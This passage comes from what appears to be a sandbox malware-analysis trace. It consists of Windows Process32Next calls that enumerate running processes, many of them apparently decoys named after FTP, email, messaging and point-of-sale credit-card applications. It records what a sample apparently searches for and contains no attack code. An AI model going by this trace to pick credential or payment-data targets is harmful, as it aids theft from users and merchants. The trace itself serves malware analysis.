dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.072] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.078] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.080] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.091] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.094] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.096] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.098] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.100] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.102] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.104] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.106] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.108] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.110] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.112] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0241.169] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0241.171] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.173] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.186] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0241.189] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0241.191] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0241.193] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0241.194] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0241.196] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0241.197] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0241.198] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0241.200] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0241.201] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0241.203] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0241.204] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0241.206] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0241.207] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0241.209] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0241.210] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0241.212] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0241.213] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0241.286] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0241.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0241.289] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0241.291] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0241.293] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0241.295] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0241.298] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0241.300] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0241.302] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0241.305] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0241.307] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0241.310] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0241.312] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0241.314] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0241.316] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0241.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0241.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0241.371] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0241.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0241.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0241.378] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0241.380] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0241.381] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0241.383] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0241.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0241.386] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0241.388] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0241.390] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0241.392] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0241.393] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0241.395] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0241.397] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0241.399] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0241.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0241.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0241.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0241.456] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0241.458] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0241.460] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0241.461] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0241.463] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0241.464] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0241.466] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0241.468] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0241.469] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0241.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0241.473] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 